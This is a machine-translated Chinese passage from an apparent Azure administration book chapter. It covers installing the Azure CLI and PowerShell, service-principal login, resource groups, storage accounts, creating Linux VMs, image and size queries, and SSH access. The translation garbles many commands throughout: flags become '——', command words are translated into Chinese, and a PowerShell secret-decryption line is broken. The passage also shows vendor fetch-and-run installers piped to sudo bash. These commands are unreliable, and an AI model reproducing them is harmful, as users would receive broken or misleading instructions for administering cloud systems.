或基于其引擎最新版本的浏览器,如 Vivaldi。 - -您可以在浏览器中完成所有的练习,甚至包括与命令行有关的练习。 实际上,使用 Azure CLI 或 PowerShell 的本地安装是个好主意; 它更快,更容易复制和粘贴代码,您可以保存历史记录和命令的输出。 - -## 访问 Azure - -要使用 Azure,首先需要的是一个帐户。 到[https://azure.microsoft.com](https://azure.microsoft.com),获得一个免费帐户开始,或使用已经在使用的公司帐户。 另一种可能是通过 Visual Studio Professional 或 Enterprise 订阅来使用 Azure,这将为您提供 Azure 的**Microsoft Developer Network**(**MSDN**)学分。 如果您的组织已经与微软签订了企业协议,您可以使用您的企业订阅,或者您可以注册一个按使用量付费的订阅(如果您已经使用了免费试用版)。 - -如果你使用的是免费账户,你可以获得一些积分,一些受欢迎的服务可以在有限的时间内使用,还有一些服务会一直免费,比如集装箱服务。 您可以在[https://azure.microsoft.com/en-us/free](https://azure.microsoft.com/en-us/free)上找到最新的免费服务列表。 在试用期间,你不会被收费,除了虚拟机需要额外的许可,但你需要一张信用卡来证明你自己。 - -### 使用 Azure 门户登录 - -将浏览器指向[https://portal.azure.com](https://portal.azure.com)并使用您的凭据登录。 您已经准备好开始使用 Azure,或者,换句话说,开始使用您的订阅。 在 Azure 中,订阅允许您使用您的帐户使用 Azure 门户/ Azure CLI/PowerShell 创建和部署资源。 它也用于会计和记账。 - -Azure 门户将您带到一个仪表板,您可以修改该仪表板以满足您的监控需求。 您现在可以: - -* 检查你的资源。 -* 创建新的资源。 -* 访问市场,这是一个在线商店,您可以在那里购买和部署为 Azure 云构建的应用或服务。 -* 洞察你的账单。 - -你可以使用 web 界面,图形化地做任何事情,或者通过 web 界面使用 Azure Cloud Shell,后者提供 Bash 或 PowerShell 界面。 - -### 使用命令行访问 Azure - -使用命令行有几个很好的理由。 这就是为什么,在本书中,我们将主要讨论 Azure 的命令行访问: - -* 它可以帮助您理解 Azure 的架构。 在图形界面中,通常您可以在一个配置窗口中做许多事情,而不需要理解不同字段和组件之间的关系。 -* 这是自动化和编排的第一步。 -* The web interface is still in active development; the web interface can, and will, change over time: - - 一些功能和选项还不能使用。 - - 微软可能会重新定位网页界面的功能和选项。 - -* 另一方面,命令行界面在语法和输出方面非常稳定。 - -在本书中,我们将在 Bash shell 中使用 Azure CLI,在 PowerShell Az 模块中使用 PowerShell。 两者都非常适合,不依赖于平台,除了一两个例外,它们之间在特性上没有区别。 选择您最喜欢的,因为您已经熟悉它,或者尝试两个接口,然后再选择。 - -#### 请注意 - -请注意,从这本书复制和粘贴命令可能会给你一些错误,由于空格和缩进。 为了获得更好的结果,总是键入命令。 此外,这将帮助您习惯这些命令。 - -### 安装 Azure CLI - -如果您在 Azure Cloud Shell 中使用 Bash 接口,则有一个相当完整的 Linux 环境 Azure 命令行界面安装可供使用。 它还提供特定于 azure 的命令,例如**az**命令。 - -您还可以在 Windows、macOS 和 Linux 上安装此实用程序。 Docker 容器也是可用的。 您可以在[https://docs.microsoft.com/en-us/cli/azure](https://docs.microsoft.com/en-us/cli/azure)找到所有这些平台的详细安装说明。 - -以 CentOS/**Red Hat Enterprise Linux**(**RHEL**)7 为例,安装 Azure CLI: - -1. Import the Microsoft repository's **GNU Privacy Guard** (**GPG**) key: - - Sudo RPM——导入\ https://packages.microsoft.com/keys/microsoft.asc - -2. Add the repository: - - ——添加 repo= \ - - https://packages.microsoft.com/yumrepos/azure-cli - -3. Install the software: - - yum 安装 azure-cli - -4. To install the Azure CLI on an Ubuntu- or Debian-based system, use this: - - curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - - 在 macOS 上,你必须首先安装 Homebrew,这是一个免费的开源包管理系统,可以简化开源软件的安装。 - -5. Open a Terminal and execute the following: - - $(curl -fsSL \ - - https://raw.githubusercontent.com/Homebrew/install/master/install)" - -6. Update Homebrew and install the Azure CLI: - - Brew 更新&& Brew 安装 azure-cli - -7. After installing the Azure CLI, you can verify the version installed using this: - - az -v - -### 通过 Azure CLI 登录 - -Azure CLI 是一个命令行工具,用于访问或管理 Azure 资源,好在它适用于 macOS、Linux 和 Windows 平台。 在使用 CLI 之前,您必须先登录: - -az login - -这个命令将打开一个浏览器,并要求您使用您的微软帐户登录。 如果您得到一个错误,说明 shell 无法打开交互式浏览器,请使用**az login -use-device-code**。 这将生成一个代码,您可以在[https://www.microsoft.com/devicelogin](https://www.microsoft.com/devicelogin)中使用它来完成身份验证。 - -如果成功,它会给你一些 JSON 格式的关于你订阅的输出,比如你的用户名: - -[ - -   { - -     "cloudName": "AzureCloud", - -         " id ": "....", - -         " isDefault”:没错, - -         " 名称”:“现收现付制”, - -         " 状态”:“启用”, - -         "tenantId": "....", - -         " 用户":{ - -            " 的名字 ": "....", - -            " 类型”:“用户” - -          } - -    } - -] - -要再次获取此信息,请键入以下内容: - -阿兹帐户列表 - -通过使用额外的参数,您总是可以将输出格式化为 JSON、JSONC、TABLE 或 TSV 格式。 - -JSON(或 JSONC,彩色变种)格式更容易在编程和脚本语言中解析: - -![The output showing the subscription details on the command prompt in JSON format](img/B15455_02_01.jpg) - -###### 图 2.1:JSONC 格式的订阅细节 - -**tab 分隔值**(**TSV**)是一个好主意,如果输出是单个值,如果你想使用文本过滤工具,如 AWK,或者如果你想将输出导出到电子表格: - -![The output showing the subscription details on the command prompt separated by Tabs](img/B15455_02_02.jpg) - -###### 图 2.2:tab 分隔的订阅详细信息 - -表的输出非常易读,但比默认输出有更多限制: - -![The output showing the subscription details on the command prompt in table format](img/B15455_02_03.jpg) - -###### 图 2.3:表格形式的订阅详情 - -要以表格格式获取已登录帐户可以访问的订阅列表,请执行以下命令: - -Az account list -o table - -为了让读取 JSON 输出更容易,你还可以查询特定的字段: - -Az account list -o table——query '[].[user.name]' - -如果你已经拥有大量的资源或账户,那么浏览整个列表将是非常困难的。 幸运的是,有一种方法可以深入输出并获得所需的信息。 使用强大的查询语言 JMESPATH([http://jmespath.org](http://jmespath.org))将命令与**——query**参数链接起来,可以帮助您做到这一点。 再次查看**az account list**命令的 JSON 输出。 该查询正在搜索**用户**字段和**name**属性。 - -让我们回到登录过程。 每次这样做,一次又一次,可能不是最友好的程序。 更好的方法是创建一个服务主体,也被称为应用注册,为特定的应用提供凭证: - -az ad sp create-for-rbac——name - -您可以为您的应用提供一个名称,但是某些特殊字符是不允许的。 原因是**APP_NAME**将创建一个 URL,因此不能将 URL 中禁止的所有字符添加到**APP_NAME**中(例如@和%)。 输出也是 JSON 格式,将提供一个应用 ID(**appID**参数): - -{ - -    "appID": "....", - -:“displayName APP_NAME”, - -“名称”:“http://APP_NAME”, - -“密码 ": "....", - -“租户”:“……” - -} - -请在记事本上记下输出,因为我们将使用这些值进行身份验证。 应用或服务主体代表 Azure 租户中的一个对象。 租户是指管理和拥有微软云服务实例的组织,通常表示为.onmicrosoft.com。 如果我们从 Azure 的角度来看,所有部署的服务都将与一个订阅相关联,并且该订阅将映射到一个租户。 一个租户可以拥有多个托管不同服务的订阅。 从前面的输出中,我们将得到以下值: - -* **appID**:应用 ID 类似于应用的用户名。 我们将使用这个 ID 作为我们的用户名登录。 -* **displayName**:创建应用时给应用的友好名称。我们通过**name**参数设置该名称。 -* **name**:基于我们给定的名称的 URL。 -* **password**:这是我们创建的服务主体的密码。 登录时,我们将在密码字段中使用这个值。 -* **tenant**:租户 ID; 我们在前一段讨论了租户。 - -需要访问的应用必须由安全主体表示。 安全主体为租户中的用户/应用定义访问策略和权限。 这样就可以在登录时对用户/应用进行身份验证,并在访问资源时进行基于角色的授权。 总之,您可以使用**appID**来登录。 - -列出分配给新创建的**appID**的角色: - -az 角色分配列表——受让人——o 表 - -默认情况下,使用贡献者角色。 该角色拥有读取和写入您的 Azure 帐户的完全权限。 - -现在,最好测试一下并退出: - -az logout - -现在,再次使用**appID**登录。 你可以使用之前复制的值来完成身份验证: - -az login——service-principal——username——tenant - -不幸的是,无法将用户名、**appID**或**租户 id**存储在配置文件中。 您还可以将**——password**添加到命令中: - -az login——service-principal——username——tenant——password - -除了使用**az**命令输入完整的命令,您还可以在交互式 shell 模式下打开它: - -阿兹互动 - -这种外壳最大的特点之一是它将终端分成两个窗口。 在上面的屏幕上,你可以输入你的命令; 在屏幕下方,您将在键入命令时获得帮助。 还有对命令、参数和参数值的自动完成支持。 - -### PowerShell - -PowerShell 是一种微软开发的脚本语言,集成在。net 框架中。 它是由 Jeffrey Snover, Bruce Payette 和 James Truher 在 2006 年设计的。 PowerShell 不仅适用于 Windows,也适用于 Linux 和 macOS。 您可以在 PowerShell 的 GitHub 存储库中找到在这些操作系统中使用 PowerShell 的详细说明:[https://github.com/PowerShell](https://github.com/PowerShell)。 - -例如,要在 RHEL 或 CentOS 中安装它,请遵循以下步骤: - -1. Import the Microsoft repository's GPG key if you didn't do so while following the installation procedure for the Azure CLI: - - Sudo RPM -import \ https://packages.microsoft.com/keys/microsoft.asc - -2. Add the repository: - - ——add-repo= \https://packages.microsoft.com/rhel/7/prod/ - -3. Install the software: - - 安装-y powershell - -4. 使用**pwsh -v**显示安装版本。 -5. Enter PowerShell: - - pwsh - -在 macOS 上,你需要自制程序和自制程序桶。 桶扩展自酿软件安装更多和更大的应用: - -1. Install Homebrew Cask: - - 啤酒龙头 caskroom /桶 - -2. Install PowerShell: - - 酿造桶安装 powershell - -3. 使用**pwsh -v**显示安装版本。 -4. To enter PowerShell: - - pwsh - -安装 PowerShell 后,就可以开始安装 Az 模块了。 下载模块可能需要一些时间,这取决于你的网速。 你可以在 shell 中看到下载的进度: - -Install-Module -Name Az -AllowClobber -Scope CurrentUser -Force - -PowerShell 使用**PowerShellGet**cmdlet 从 PowerShell Gallery 下载模块及其依赖项,PowerShell Gallery 是一个承载许多模块的在线存储库。 请注意,要做到这一点,您需要在 Windows 和 Linux 中拥有管理员权限。 PowerShell Gallery 没有被配置为可信存储库: - -不可信存储库 - -您正在从一个不受信任的存储库安装模块。 如果你相信这个 - -通过运行 Set-PSRepository 来更改其 InstallationPolicy 值 - -cmdlet。 您确定要从“PSGallery”安装模块吗? - -[Y]是[A]是的所有[N]没有[L] [S]暂停所有[? )帮助 - -(默认为“N”):A - -用**[A] Yes to All**回答清单中的问题。 - -由于**强制**参数,现在可以安装 Az 模块的多个版本。 可以使用以下命令验证是否存在多个版本: - -Get-InstalledModule -Name Az -AllVersions | ' select Name,Version - -默认情况下将使用最新版本,除非您在导入模块时使用了**-RequiredVersion**参数。 - -### 使用 PowerShell 登录 - -安装完成后,导入模块: - -Import-Module - name 阿兹 - -如果您在使用 Azure 时不创建 PowerShell 脚本,只在 PowerShell 环境中执行命令,那么您将需要再次执行此命令。 但是,如果您愿意,您可以自动加载模块。 - -首先,通过执行以下命令找出你的 PowerShell 配置文件在文件系统中的位置: - -美元的概要文件 - -在文本编辑器中打开或创建该文件,并添加如下行: - -Import-Module - name 阿兹 - -#### 请注意 - -在实际创建该文件之前,可能需要先创建目录结构。 - -现在您可以执行 Azure 的所有可用命令。 - -使用以下 cmdlet 登录: - -Connect-AzAccount - -这将打开一个交互式浏览器窗口,您可以在其中使用凭据进行身份验证。 如果结果没有显示租户 ID,执行以下操作: - -Get-AzContext -ListAvailable |选择租户 - -现在,使用您找到的租户 ID 再次登录: - -Connect-AzAccount -Tenant - -如果您有多个订阅,您可以添加**-订阅**参数和订阅 ID。 如前所述,创建一个服务主体可能是个好主意: - -$newsp = New-AzADServicePrincipal ' -DisplayName "APP_NAME" -Role Contributor - -如果您没有提到服务主体的友好名称**DisplayName**,Azure 将生成一个格式为 Azure -powershell- mm- dd-yyyy- hh -mm-ss 的名称。 接下来,您需要检索新创建的服务主体的应用 ID: - -$newsp.ApplicationId - -密码可以存储为一个变量,它将被加密,我们必须解密它: - -$ = [System.Runtime.InteropServices.Marshal]:型:SecureStringToBSTR (newsp.Secret 美元) - -$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) - -变量**$ unsecuressecret**包含您的服务主体的密码。 - -为了能够进行身份验证,我们需要服务主体的凭证: - -美元信誉= Get-Credential - -提供**ApplicationID**和密码,它们存储在**$newsp 中。 ApplicationId**和**$ unsecuressecret**变量。 现在我们已经拥有了使用这些证书连接到 Azure 所需的一切: - -连接 azdata 账户 - --租户' - -  -ServicePrincipal - -现在,保存上下文: - -Save-AzContext 路径$ HOME / .Azure / AzureContext.json - -如有必要,覆盖现有内容。 退出 PowerShell 环境并执行 PowerShell。 确保你已经登录到 Azure,并使用以下命令验证上下文: - -Get-AzContext - -### Azure 资源管理器 - -在你开始部署你的第一个 Linux 虚拟机之前,有必要了解更多关于**Azure 资源管理器**(**ARM**)的知识。 - -基本上,ARM 允许您使用存储和虚拟机等资源。 为此,您必须创建一个或多个资源组,以便在单个操作中执行生命周期操作,例如部署、更新和删除资源组中的所有资源。 - -#### 请注意 - -资源组必须创建在区域(也称为位置)中。 请注意,不同地区提供的服务可能会有所不同。 欲了解更多差异,请访问[https://azure.microsoft.com/en-us/global-infrastructure/services/](https://azure.microsoft.com/en-us/global-infrastructure/services/)。 - -Azure 拥有超过 54 个区域。 如果某个位置不可用,则需要为您的帐户添加白名单。 你可以联系微软的技术支持。 要获取您的帐户的可用位置和支持的资源提供商列表,请在 PowerShell 中执行以下命令: - -Get-AzLocation |选择对象位置 - -你也可以在 Bash 中执行以下操作: - -Az 帐户 list-locations——query '[].name' - -然后,在其中一个区域创建一个资源组: - -New-AzResourceGroup -Location westus2 -Name 'MyResource1' - -现在,验证结果: - -Get-AzResourceGroup | Format-Table - -这是前面命令的 Bash 版本: - -az 组 create——location westus2——name MyResource2 - -要验证**Azure Resource Manager (ARM)**这个命令的结果,执行以下命令: - -Az group list -o table - -除了处理区域和资源组之外,还必须理解存储冗余的概念。 可用的复制选项如下: - -* Standard_LRS: Locally redundant storage - - Premium_LRS:与 LRS 相同,但是它也支持文件存储。 - - Standard_GRS: Geo-redundant 存储 - - Standard_RAGRS:读写两地三中心冗余存储 - -* Standard_ZRS: Zone-redundant storage; ZRS doesn't support Blob storage - - #### 请注意 - - 更多信息请访问微软网站:[https://docs.microsoft.com/en-us/azure/storage/common/storage-redundancy](https://docs.microsoft.com/en-us/azure/storage/common/storage-redundancy)。 - -理解这个概念非常重要,因为一个区域需要一个存储帐户和您的资源组。 存储帐户在 Azure 中提供了唯一的名称空间来存储数据(如诊断)和使用 Azure Files 等服务的可能性。 要为该数据配置冗余,您必须指定 SKU,它在此上下文中代表冗余选项: - -New-AzStorageAccount -Location westus ' - --ResourceGroupName MyResource1” - --Name "" -SkuName Standard_LRS - -或者你也可以通过 Azure CLI 来实现: - -az 存储帐户 create——resource-group MyResource2 - -——sku Standard_LRS——name - -存储帐户名称在 Azure 上必须是唯一的,长度在 3 到 24 个字符之间,并且只能使用数字和小写字母。 - -## Linux 和 Azure - -Linux 几乎无处不在,在许多不同的设备上和许多不同的环境中。 有很多不同的口味,你可以选择用什么。 那么,你选择什么呢? 有许多问题,而且可能有许多不同的答案。 但有一件事是肯定的:在企业环境中,支持是重要的。 - -### Linux 发行版 - -如前所述,有许多不同的 Linux 发行版。 但有这么多选择是有原因的: - -* Linux 发行版是软件的集合。 有些集合是为了一个特定的目标。 Kali Linux 是这种发行版的一个很好的例子,它是一种高级渗透测试 Linux 发行版。 -* Linux 是一个多用途的操作系统。 由于我们为 Linux 提供了大量定制选项,如果您不想在您的操作系统上使用特定的包或特性,您可以删除它并添加自己的包或特性。 这就是为什么会有这么多发行版的主要原因之一。 -* 开源本质上是达尔文主义的。 有时候,一个项目是分叉的,例如,因为其他一些开发人员不喜欢这个项目的目标,或者认为他们可以做得更好,所以不接受项目补丁。 只有最强大的项目才能存活下来。 -* 这是一个品味的问题。 不同的人有不同的品味和观点。 有些人喜欢 Debian**apt**包管理器; 其他人可能喜欢 SUSE 的 Zypper 工具。 -* 另一个很大的区别是,一些发行版是由 Red Hat、SUSE 和 Canonical 等厂商收集和支持的,而其他的,如 Debian,是由社区驱动的。 - -在生产环境中,支持非常重要。 在将生产工作负载推到一个发行版之前,组织将会关注某些因素,例如 SLA、停机时间和安全更新,并且可能会出现以下问题: - -* 谁负责更新,哪些信息随更新而来? -* 谁负责支持,如果有问题我应该打电话给谁? -* 如果软件授权有法律问题,谁来给我建议? - -### 微软支持的 Linux 发行版 - -在 Azure 市场中,有第三方(也称为微软合作伙伴)提供的 Linux 映像。 这些都是微软支持的 Linux 发行版。 - -微软与这些合作伙伴和 Linux 社区一起工作,以确保这些 Linux 发行版在 Azure 上运行良好。 - -可以将您自己的映像,甚至您自己的 Linux 发行版导入到 Azure 中。 微软直接为 Linux 内核做出贡献,为 Hyper-V 和 Azure 提供 Linux 集成服务,因此只要支持被编译到内核中,你就可以在 Azure 上运行每一个 Linux 发行版。 此外,在 Azure Marketplace 中的每个 Linux 映像上,都安装了 Azure Linux Agent,并且该代理的源代码也可以在 GitHub 上获得,因此您可以在映像中安装它。 如果你在 Linux 上有问题,微软甚至愿意指导你; 买一个支持计划吧! - -对于一些商业 Linux 发行版,有很好的支持选项: - -* Red Hat:微软支持将帮助您使用 Azure 平台或服务,也将支持 Red Hat 内部的问题,但这需要一个支持计划。 -* Oracle Linux:微软提供了支持计划; 可以从 Oracle 购买额外的商业支持。 -* SUSE:有微软支持的高级镜像; 如果需要,他们会打电话给 SUSE。 这个 SUSE 高级镜像包含所有软件、更新和补丁。 -* Other vendors: There are Microsoft support plans to cover other vendors; you don't have to buy a separate plan for this. Microsoft plan details are available at [https://azure.microsoft.com/en-us/support/plans/](https://azure.microsoft.com/en-us/support/plans/). - - #### 请注意 - - 请访问微软网站,以获得最近认可的发行版和版本的列表,以及关于支持的详细信息的发行版: - - [https://docs.microsoft.com/en-us/azure/virtual-machines/linux/endorsed-distros](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/endorsed-distros ) - -## 部署 Linux 虚拟机 - -我们已经介绍了 Azure 中可用的 Linux 发行版以及可以获得的支持级别。 在前一节中,我们通过创建资源组和存储来设置初始环境; 现在是时候部署我们的第一个虚拟机了。 - -### 您是第一个虚拟机 - -已经创建了资源组,在这个资源组中创建了一个存储帐户,现在可以在 Azure 中创建您的第一个 Linux 虚拟机了。 - -在 PowerShell 中,使用以下命令: - -New-AzVM -Name "UbuntuVM" -Location westus2 ' - --ResourceGroupName MyResource1” - -无-ImageName UbuntuLTS -Size Standard_B1S .无 - -cmdlet 将提示您为您的虚拟机提供用户名和密码: - -![To provide username and password in Powershell for your virtual machine](img/B15455_02_04.jpg) - -###### 图 2.4:为虚拟机提供用户凭据 - -在 Bash 中,可以使用以下命令: - -az vm create——name UbuntuVM——resource-group MyResource2 \ - -——image UbuntuLTS——authentication-type password \ .使用实例 - -——admin-username student——size Standard_B1S - -这非常简单,但是如果您以这种方式创建虚拟机实例,您可以设置的选项数量非常有限。 这个过程将使用默认设置创建虚拟机所需的多个资源,例如磁盘、网卡和公共 IP。 - -让我们深入一点细节,并获得一些关于所做选择的信息。 - -### Imagen - -在我们的示例中,我们部署了一个映像名称为**UbuntuLTS**的虚拟机。 您可以选择以下几种 Linux 映像: - -* 被久远 -* Debian -* RHEL -* UbuntuLTS -* CoreOS -* openSUSE -* SUSE Linux 企业 - -但还有更多的图片是由不同的供应商提供的,这些供应商被称为出版商。 - -我们来看看这些出版商的名单。 在 PowerShell 中,使用以下命令: - -Get-AzVMImagePublisher -Location - -正如你在下面的截图中看到的,Azure 有很多发布者,我们将从中挑选一个来演示: - -![The list of various image publishers and their location in Powershell](img/B15455_02_05.jpg) - -###### 图 2.5:在 PowerShell 中列出图像发布者 - -在 Bash 中,你可以运行以下命令获取发布者列表: - -az vm image list-publishers——location——output table - -列表是相同的: - -![The list of various image publishers and their location in Bash](img/B15455_02_06.jpg) - -###### 图 2.6:列出 Bash 中的图像发布者 - -现在你知道了发行商,你可以使用以下方法获得发行商提供的图片列表: - -Get-AzVMImageOffer -Location' - --PublisherName|选择 offer - -我们已经选择了**Canonical**作为发行商,现在我们正在尝试获取可用的报价列表。 **UbuntuServer**是其中之一,我们将使用这个: - -![Selecting Canonical as the publisher and selecting offers for it in Powershell](img/B15455_02_07.jpg) - -###### 图 2.7:列出 Canonical 发布者的报价 - -或者,在 Azure CLI 中,运行以下命令: - -az vm image list-offers——location' - -——publisher——输出表 - -输出是所谓的*offers*的列表。 报价是由发布者创建的一组相关图片的名称。 - -现在我们需要知道图像有哪些 sku 可用。 SKU 指的是发行版的主要版本。 下面是一个使用 Ubuntu 的例子: - -Get-AzVMImageSku -PublisherName-Offer' - --位置 - -现在我们已经有了发行商和提供的价值,让我们继续,看看由**Canonical**发布的**ubuntu 用户**的主要发行版(sku): - -![The list of various SKUs offered by Canonical publisher for UbuntuServer](img/B15455_02_08.jpg) - -###### 图 2.8:列出 Canonical 发布的 UbuntuServer 的 sku - -或者,在 Azure CLI 中,运行以下命令: - -az vm image list-skus—location\ - -——出版商——提供-o 表 - -查询一个特定的实例在这个报价: - -Get-AzureVMImage -Location' - --PublisherName-Offer' - --Skus|选择版本-最后 1 - -我们再看一遍这些值。 使用发行商名称,报价和 SKU,我们将获得可用的版本。 在下面的截图中,您可以看到图像版本**19.10.201912170**可用。 让我们以我们的虚拟机为例: - -![Version detail of the available image using publisher's name, offer and SKUs in Azure CLI](img/B15455_02_09.jpg) - -###### 图 2.9:在 Azure CLI 中选择可用的映像版本 - -这是撰写本章时可用的最新版本。 如果有任何新版本,您可能会看到另一个版本号。 - -或者,在 Azure CLI 中,使用以下命令: - -az 虚拟机镜像列表—location—publisher\ - -——提供——sku——所有——查询'[]。 版本的\ - -——输出 TSV |尾部-1 - -为了将输出减少到最新版本,添加了参数来选择最后一行。 收集到的信息包括**Set-AzVMSourceImage**cmdlet; 但是,在使用这个命令之前,我们需要使用**new - azvmconfig**创建一个新的虚拟机配置: - -$vm = New-AzVmConfig -VMName-VMSize "Standard_A1" - -Set-AzVMSourceImage -PublisherName ' - --Offer-Skus-Version - -最后,我们创建一个新的虚拟机大小的**Standard_A1**,我们指导 PowerShell 使用图片版本**19.10.201912170**的**19 _10-daily-gen2 主要分布在**UbuntuServer**【显示】出版的规范化提供**: - -![Creating a new virtual machine with a size of Standard_A1 by instructing Powershell to use image version](img/B15455_02_10.jpg) - -###### 图 2.10:创建一个大小为 Standard_A1 的虚拟机 - -在 Bash 中,收集到的信息中包含了**az vm create**命令的参数: - -az vm create——name UbuntuVM2——resource-group packet - testing -2——image canonical:UbuntuServer:19_10-daily-gen2:19.10.201912170——authentication-type password——admin-username pacman——size Standard_B1S .使用实例 - -#### 请注意 - -在 Bash 和 PowerShell 中,都可以使用单词*latest*来代替特定的版本。 但是,收集的信息不足以创建虚拟机。 需要更多的参数。 - -### 虚拟机分级 - -您必须考虑的另一件事是根据您的需求和成本决定虚拟机的大小。 更多关于可用尺寸和价格的信息,请访问[https://azure.microsoft.com/en-us/pricing/details/virtual-machines/linux](https://azure.microsoft.com/en-us/pricing/details/virtual-machines/linux)。 - -这个网站上的列表,包括实例的价格,经常变化! 你可以在命令行上得到一个列表(不显示成本): - -Get-AzVMSize -Location|格式表 - -az vm list-sizes——location-o 表 - -一个小型虚拟机就足以执行本书中的练习。 在写作时,**Standard_B1ls**是必要的基础水平表现的理想选择。 但是,正如前面提到的,重新检查虚拟机大小/定价表是一个好主意。 - -在 PowerShell 中,**New-AzVM**cmdlet 可以使用**-size**参数,或者你可以在**New-AzVMConfig**cmdlet 中使用: - -New-AzVMConfig -VMName "" -VMSize - -在 Bash 中,添加**az vm create**命令的**——size**参数。 - -### 虚拟机网络 - -Azure 虚拟网络允许虚拟机、internet 和其他 Azure 服务通过安全网络进行通信。 当我们在本章开始创建第一个虚拟机时,自动创建了几个与网络有关的项目: - -* 虚拟网络 -* 虚拟子网 -* 虚拟网络接口连接到虚拟机并插入虚拟网络 -* 在虚拟网口上配置的私网 IP 地址 -* 公共 IP 地址 - -网络资源将在*第 4 章,管理 Azure*中讨论; 现在,我们只查询虚拟机的私有和公共 IP 地址。 使用此命令获取公网 IP 地址列表: - -Get-AzPublicIpAddress -ResourceGroupName' - -|选择名字,IpAddress - -要获取所有虚拟机的私有 IP 地址列表,使用这个命令: - -Get-AzNetworkInterface -ResourceGroupName| ForEach {$interface = $ _name; $ip = $_ | Get-AzNetworkInterfaceIpConfig | Select PrivateIPAddress; Write-Host 接口 ip 美元。 PrivateIPAddress} - -前面的命令看起来可能有点复杂,但它是获取私有 ip 列表的方便脚本。 如果需要获取资源组中虚拟机的私有 IP 地址,可以使用此命令: - -Get-AzNetworkInterface -ResourceGroup - -得到的输出将是 JSON 格式,在**IpConfigurations**下可以看到私网 IP 地址: - -![The output displaying private IP address of virtual machines in a resource group in JSON format](img/B15455_02_11.jpg) - -###### 图 2.11 资源组中虚拟机的私有 IP 地址 - -这也可以通过使用 Azure CLI 来实现。 要获取虚拟机的私有 IP 地址列表,使用以下命令: - -az vm list-ip-addresses——resource——output 表 - -公网 IP 地址是使虚拟机可以通过 internet 访问的 IP 地址。 该 IP 地址上进入的流量虚拟机网络经过**网络地址转换**(**NAT**)到 Linux 虚拟机网络接口上配置的私有 IP 地址。 - -### 虚拟机信息 - -在部署虚拟机之后,所有附加到虚拟机的信息都可以使用 PowerShell 和 Bash,比如状态。 查询状态很重要; 有几个州: - -* 运行 -* 停止 -* 失败的 -* 收回 - -如果一个虚拟机没有被重新分配,微软会向你收取费用。 **Failed**状态表示虚拟机无法启动。 使用实例查询系统状态信息。 - -Get-AzVM -Name-Status -ResourceGroupName - -在 Bash 中,可以接收部署的虚拟机的状态,但如果我们需要将输出缩小到单个实例,那么不使用复杂的查询是不可能的: - -Az 虚拟机列表——输出表 - -要释放虚拟机,首先要停止它: - -Stop-AzVM -ResourceGroupName-Name - -现在你可以释放它: - -az vm deallocate——name——resource-group - -您可以获得关于已部署虚拟机的更多信息。 在 PowerShell 中,很难接收虚拟机的属性。 首先,创建一个变量: - -$MYVM=Get-AzVM -Name -ResourceGroupName - -现在请求这个**MYVM**对象的属性和方法: - -美元 MYVM |成员参与讨论 - -查看**HardwareProfile**属性,查看该实例的大小: - -$MYVM.HardwareProfile - -或者,为了更精确地了解虚拟机信息,使用以下命令: - -MYVM 美元。 硬件配置文件| Select-Object -ExpandProperty VmSize - -您还可以尝试**NetworkProfile**、**OSProfile**和**StorageProfile。 imagerreference**。 - -如果你想在 Bash 中使用**az**命令,你可能想要尝试的第一个命令是: - -az vm list——resource-group - -这里唯一的问题是它同时显示了所有虚拟机的所有信息; 幸运的是,还有一个**show**命令,它将输出减少到单个虚拟机: - -az vm show——name——resource-group - -通过使用查询来限制输出是个好主意。 例如,如果你想查看特定虚拟机的存储配置文件,你可以如下查询: - -az vm show——name——resource-group\ - -——查询“storageProfile” - -前面的命令应该会给出如下输出: - -![Command to see the storage profile of SUSE virtual machine](img/B15455_02_12.jpg) - -###### 图 2.12:SUSE 虚拟 machine 的存储配置文件 - -## 连接 Linux - -虚拟机正在运行,您可以使用部署第一个虚拟机时提供的凭据(用户名和密码)远程登录。 另一种连接到 Linux 虚拟机的更安全的方法是使用 SSH 密钥对。 由于 SSH 密钥的复杂性和长度,其安全性更高。 在此基础上,Azure 上的 Linux 支持使用**Azure Active Directory**(**Azure AD**)登录,用户可以使用他们的 AD 证书进行身份验证。 - -### 使用密码认证登录您的 Linux 虚拟机 - -日志含义在*虚拟机组网*中查询虚拟机的公网 IP 地址。 我们将使用这个公共 IP 通过本地安装的 SSH 客户端通过 SSH 连接到虚拟机。 - -**SSH**或**Secure Shell**是一种加密的网络协议,用于与服务器进行管理和通信。 Linux、macOS、**for Linux 的 Windows 子系统**(**WSL**),以及 Windows 10 最近的更新都带有基于命令行的 OpenSSH 客户端,但是还有更高级的客户端可用。 下面是一些例子: - -* Windows: PuTTY、MobaXterm 和 Bitvise Tunnelier -* Linux: PuTTY、Remmina 和 Pac Manager -* 推推,Termius 和 r 浏览器 - -使用 OpenSSH 命令行客户端连接到虚拟机: - -ssh@ - -### 使用 SSH 私钥登录到 Linux 虚拟机 - -使用用户名和密码并不是登录远程计算机的最佳方式。 这并不是一个完全不安全的操作,但您仍然通过连接发送您的用户名和密码。 如果您想要远程执行脚本、执行备份操作等等,那么也很难使用它。 - -另一种更安全的登录系统的方法是使用 SSH 密钥对。 这是一对加密保护的密钥:一个私有密钥和一个公共密钥。 - -私钥由客户端保留,不应复制到任何其他计算机。 这件事应该绝对保密。 在创建密钥对的过程中,最好使用一个密码短语来保护私钥。 - -另一方面,公钥可以复制到您想要管理的所有远程计算机。 此公钥用于加密只有私钥才能解密的消息。 当您尝试登录时,服务器将使用使用密钥的这个属性验证客户机是否拥有私钥。 没有通过连接发送密码。 - -有多种方法可以创建 SSH 密钥对; 例如,PuTTY 和 MobaXterm 都提供了创建它们的工具。 您必须从每个需要访问远程机器的工作站执行此操作。 在本书中,我们使用**ssh-keygen**,因为它适用于所有操作系统: - -ssh - keygen - -前一个命令的输出应该如下所示: - -![Creation of SSH key pair using ssh-keygen command](img/B15455_02_13.jpg) - -###### 图 2.13:使用 SSH -keygen 创建 SSH 密钥对 - -别忘了输入密码! - -为了理解如何使用 SSH 密钥对访问虚拟机,让我们创建一个新的虚拟机。 如果你还记得,当我们创建的 Linux 机器之前,我们使用了**az vm 创建**命令和**验证类型作为密码,但在以下命令,我们使用的是**——**generate-ssh-keys 参数。 这将生成一个 SSH 密钥对,并将被添加到您的主文件夹中的**.ssh**目录中,用于访问虚拟机:** - -az vm create——name UbuntuVM3——resource-group MyResource2 \ - -——admin-username student——generate-ssh-keys——image ubuntuults .使用示例 - -如果你想在 PowerShell 中完成,使用**Add-AzVMSshPublicKey**cmdlet。 